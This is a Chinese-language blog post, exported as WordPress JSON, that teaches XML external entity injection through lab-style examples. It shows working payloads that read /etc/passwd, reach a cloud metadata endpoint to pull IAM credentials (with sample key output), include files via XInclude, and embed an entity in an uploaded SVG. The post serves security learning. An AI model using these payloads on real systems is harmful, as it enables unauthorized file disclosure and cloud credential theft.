{"id":1193,"date":"2023-02-04T17:55:00","date_gmt":"2023-02-04T09:55:00","guid":{"rendered":"https:\/\/systw.net\/note\/?p=1193"},"modified":"2024-02-17T20:20:03","modified_gmt":"2024-02-17T12:20:03","slug":"xxe","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/1193","title":{"rendered":"XXE"},"content":{"rendered":"\n<p><\/p>\n\n\n\n<p>XXE\uff0c\u5168\u540d<code>XML eXternal Entity Injection<\/code>\uff0cXML\u5916\u90e8\u5be6\u9ad4\u6ce8\u5165\u3002<\/p>\n\n\n\n<p>\u4ee5XML\u70ba\u57fa\u790e\u7684\u7db2\u8def\u61c9\u7528\u7a0b\u5f0f\u6c92\u6709\u505a\u597d\u7ba1\u63a7\u6b0a\u9650\uff0c\u76f4\u63a5\u8b80\u53d6\u5916\u90e8\u8cc7\u6e90\u63d0\u4f9b\u7684 XML \u6a94\u6848\u3002\u653b\u64ca\u8005\u63d0\u4f9b\u60e1\u610fXML\u6a94\u6848\u8b93\u7cfb\u7d71\u8b80\u53d6\uff0c\u5c31\u6709\u53ef\u4ee5\u9032\u884c\u6587\u4ef6\u7684\u5171\u4eab\u3001\u76e3\u807d\u5167\u90e8\u7db2\u8def\u3001\u57f7\u884c\u9060\u7aef\u7a0b\u5f0f\uff0c\u9032\u800c\u5c0e\u81f4\u8cc7\u6599\u5916\u6d29\uff0c\u6216\u7cfb\u7d71\u88ab\u99ed\u5ba2\u63a5\u7ba1\u3002<\/p>\n\n\n\n<p>XML \u6a94\u6848\u6709\u5169\u500b\u7279\u5fb5\uff0cDTD\uff08Document Type Definition\uff09 \u53ca XML Schema\u3002DTD \u9084\u53ef\u4ee5\u5206\u70ba4\u500b\u90e8\u4efd\uff0c Elements(\u5143\u7d20)\u3001Attribute (\u5c6c\u6027)\u3001Entities(\u5be6\u9ad4)\u53ca Comments(\u8a3b\u89e3) \u3002<\/p>\n\n\n\n<p>XML \u5141\u8a31\u5728 DTD \u4e2d\u5b9a\u7fa9\u81ea\u8a02entities\uff0c\u5982\u4e0b\u3002\u9019\u8868\u793aEntities\u70ba<code>&amp;myentity;<\/code>\uff0c\u503c\u70ba<code>my entity value<\/code><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>&lt;!DOCTYPE foo [ &lt;!ENTITY myentity \"my entity value\" &gt; ]&gt;<\/code><\/li>\n<\/ul>\n\n\n\n<p>\u5047\u5982\u60f3\u8981\u4f7f\u7528<code>eXternal Entity<\/code>\u6307\u5b9aURL\u6216file\u4f4d\u7f6e\u4ee5\u8b80\u53d6\u5916\u90e8\u7684\u5167\u5bb9\uff0c\u8981\u7528\u95dc\u9375\u5b57<code>SYSTEM<\/code>\uff0c\u5982\u4e0b<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>&lt;!DOCTYPE foo [ &lt;!ENTITY<code>myentity<\/code>SYSTEM \"http:\/\/normal-website.com\" &gt; ]&gt;<\/code><\/li>\n\n\n\n<li><code>&lt;!DOCTYPE foo [ &lt;!ENTITY<code>myentity<\/code>SYSTEM \"file:\/\/\/path\/to\/file\" &gt; ]&gt;<\/code><\/li>\n<\/ul>\n\n\n\n<p>\u5229\u7528\u9019\u7a2eXEE\u624b\u6cd5\uff0c\u5e38\u898b\u7684\u653b\u64ca\u5982\u4e0b\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5229\u7528XXE\u6aa2\u7d22\u6587\u4ef6<\/li>\n\n\n\n<li>\u5229\u7528XXE\u9032\u884cSSRF\u653b\u64ca<\/li>\n\n\n\n<li>\u900f\u904eXInclude\u9032\u884cXXE\u653b\u64ca<\/li>\n\n\n\n<li>\u900f\u904e\u6a94\u6848\u4e0a\u50b3\u9032\u884cXXE\u653b\u64ca<\/li>\n<\/ul>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u5229\u7528XXE\u6aa2\u7d22\u6587\u4ef6<\/h2>\n\n\n\n<p>\u653b\u64ca\u7684\u65b9\u5f0f\u5982\u4e0b\uff0c\u5047\u8a2d\u4ee5\u4e0b\u662f\u6b63\u5e38\u7684\u8acb\u6c42<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\n&lt;stockCheck&gt;&lt;productId&gt;381&lt;\/productId&gt;&lt;\/stockCheck&gt;<\/code><\/pre>\n\n\n\n<p>\u4f7f\u7528XXE\u7684\u653b\u64ca\u8acb\u6c42\u5982\u4e0b\uff0c\u6b64 XXE \u8ca0\u8f09\u5b9a\u7fa9\u4e86\u4e00\u500b\u5916\u90e8\u5be6\u9ad4<code>&amp;xxe;<\/code>\uff0c\u5176\u503c\u662f\u6a94\u6848\u7684\u5167\u5bb9<code>\/etc\/passwd<\/code>\uff0c\u9019\u53ef\u986f\u793a\/etc\/passwd\u5167\u5bb9<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############# request by attack #############  \n&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\n&lt;!DOCTYPE foo &#91; &lt;!ENTITY xxe SYSTEM \"file:\/\/\/etc\/passwd\"&gt; ]&gt;\n&lt;stockCheck&gt;&lt;productId&gt;&amp;xxe;&lt;\/productId&gt;&lt;\/stockCheck&gt;\n\n############# reponse by attack #############\nInvalid product ID: root:x:0:0:root:\/root:\/bin\/bashdaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologinbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin<\/code><\/pre>\n\n\n\n<p>Lab: Exploiting XXE using external entities to retrieve files<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u5229\u7528XXE\u9032\u884cSSRF\u653b\u64ca<\/h2>\n\n\n\n<p>\u5047\u5982http:\/\/169.254.169.254\/latest\/meta-data\/iam\/security-credentials\/admin\u53ea\u6709\u5167\u7db2\u624d\u80fd\u5b58\u53d6\uff0c\u53ef\u4ee5\u5728\u5916\u7db2\u900f\u904eXXE\u9032\u884cSSRF\u653b\u64ca\uff0c\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############# request by attack #############  \n&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt; \n&lt;!DOCTYPE test &#91; &lt;!ENTITY xxe SYSTEM \"http:\/\/169.254.169.254\/latest\/meta-data\/iam\/security-credentials\/admin\"&gt; ]&gt; \n&lt;stockCheck&gt;&lt;productId&gt;&amp;xxe;&lt;\/productId&gt;\n\n############# reponse by attack #############\nHTTP\/1.1 400 Bad Request\nContent-Type: application\/json; charset=utf-8\nConnection: close\nContent-Length: 546\n\n\"Invalid product ID: {\n  \"Code\" : \"Success\",\n  \"LastUpdated\" : \"2020-08-19T03:43:39.176713Z\",\n  \"Type\" : \"AWS-HMAC\",\n  \"AccessKeyId\" : \"Rw8ffdkGeXEVhMfdhxEl\",\n  \"SecretAccessKey\" : \"8P2lHSNgVomPinNCCniZT0QoUqILr4nYl91zpHQU\",\n  \"Token\" : \"ZhPYfU69Xs0tiFPiBErTfIMNN8r4dL1rwG81wkRVADmzpJQE52tJL2fdQiVLQok1DEdkY1NxAdYGMgjPTBR8ht4PHO2BiGLWtq1CGkwLPMfsdIJszMuPuIoLFC2lMDemGQq3t9zd7KLaLQIxOSgzatdWoF2yv3MnGrEVXUUSu3Y8RINJYDERrimhTfhanSJ3XjFeBrvDp9DOHdKAAEpRV0mqcToQhlONRfDAJtqvGD2qzGlJ9pPph4aznmf8d8no\",\n  \"Expiration\" : \"2026-08-18T03:43:39.176713Z\"\n}\"<\/code><\/pre>\n\n\n\n<p>Lab: Exploiting XXE to perform SSRF attacks<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u900f\u904eXInclude\u9032\u884cXXE\u653b\u64ca<\/h2>\n\n\n\n<p><code>XInclude<\/code>\u662f XML \u898f\u7bc4\u7684\u4e00\u90e8\u5206\uff0c\u5141\u8a31\u5f9e\u5b50\u6587\u6a94\u5efa\u7acb XML \u6587\u4ef6\u3002\u8981\u4f7f\u7528\u9019\u7a2e\u65b9\u5f0f\u505a\u653b\u64ca\uff0c\u9700\u8981\u5f15\u7528<code>XInclude<\/code>\u540d\u7a31\u7a7a\u9593\u4e26\u63d0\u4f9b\u60a8\u5e0c\u671b\u5305\u542b\u7684\u6a94\u6848\u7684\u8def\u5f91\uff0c\u5982\u4e0b\uff0c\u53ef\u986f\u793a\/etc\/passwd\u5167\u5bb9<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############# attack request ############# \nPOST \/product\/stock HTTP\/1.1\n...omit...\nproductId=&lt;foo xmlns:xi=\"http:\/\/www.w3.org\/2001\/XInclude\"&gt;&lt;xi:include parse=\"text\" href=\"file:\/\/\/etc\/passwd\"\/&gt;&lt;\/foo&gt;&amp;storeId=1\n\n############# attack response ############# \n...omit...\n\"Invalid product ID: root:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\n...omit...<\/code><\/pre>\n\n\n\n<p>Lab: Exploiting XInclude to retrieve files<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u900f\u904e\u6a94\u6848\u4e0a\u50b3\u9032\u884cXXE\u653b\u64ca<\/h2>\n\n\n\n<p>\u61c9\u7528\u7a0b\u5f0f\u53ef\u80fd\u5141\u8a31\u4f7f\u7528\u8005\u4e0a\u50b3\u5716\u50cf\uff0c\u4e26\u5728\u4e0a\u50b3\u5f8c\u8b93\u4f3a\u670d\u5668\u8655\u7406\u6216\u9a57\u8b49\u9019\u4e9b\u5716\u50cf\u3002\u5373\u4f7f\u61c9\u7528\u7a0b\u5f0f\u671f\u671b\u63a5\u6536 PNG \u6216 JPEG \u7b49\u683c\u5f0f\uff0c\u6b63\u5728\u4f7f\u7528\u7684\u5f71\u50cf\u8655\u7406\u5eab\u4e5f\u53ef\u80fd\u652f\u63f4 SVG \u5f71\u50cf\u3002\u7531\u65bcSVG\u683c\u5f0f\u4f7f\u7528XML\uff0c\u653b\u64ca\u8005\u53ef\u4ee5\u63d0\u4ea4\u60e1\u610fSVG\u6620\u50cf\uff0c\u5f9e\u800c\u9054\u5230XXE\u6f0f\u6d1e\u7684\u96b1\u85cf\u653b\u64ca\u9762<\/p>\n\n\n\n<p>\u4f8b\u5982\uff0c\u5efa\u7acb\u4e00\u500bsvg\u6a94\u6848\u5982\u4e0b\uff0c\u7136\u5f8c\u4e0a\u50b3\u5230\u6709XXE\u6f0f\u6d1e\u7684\u7db2\u7ad9<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?xml version=\"1.0\" standalone=\"yes\"?&gt;&lt;!DOCTYPE test &#91; &lt;!ENTITY xxe SYSTEM \"file:\/\/\/etc\/hostname\" &gt; ]&gt;&lt;svg width=\"128px\" height=\"128px\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" xmlns:xlink=\"http:\/\/www.w3.org\/1999\/xlink\" version=\"1.1\"&gt;&lt;text font-size=\"16\" x=\"0\" y=\"16\"&gt;&amp;xxe;&lt;\/text&gt;&lt;\/svg&gt;<\/code><\/pre>\n\n\n\n<p>\u4e0a\u50b3\u5f8c\u5c31\u53ef\u4ee5\u5728\u5716\u7247\u770b\u5230\/etc\/hostname<\/p>\n\n\n\n<p>Lab: Exploiting XXE via image file upload<\/p>\n","protected":false},"excerpt":{"rendered":"<p>XXE\uff0c\u5168\u540dXML eXternal Entity Inje &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[38],"tags":[],"class_list":["post-1193","post","type-post","status-publish","format-standard","hentry","category-serverside"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1193","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=1193"}],"version-history":[{"count":0,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1193\/revisions"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=1193"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=1193"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=1193"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}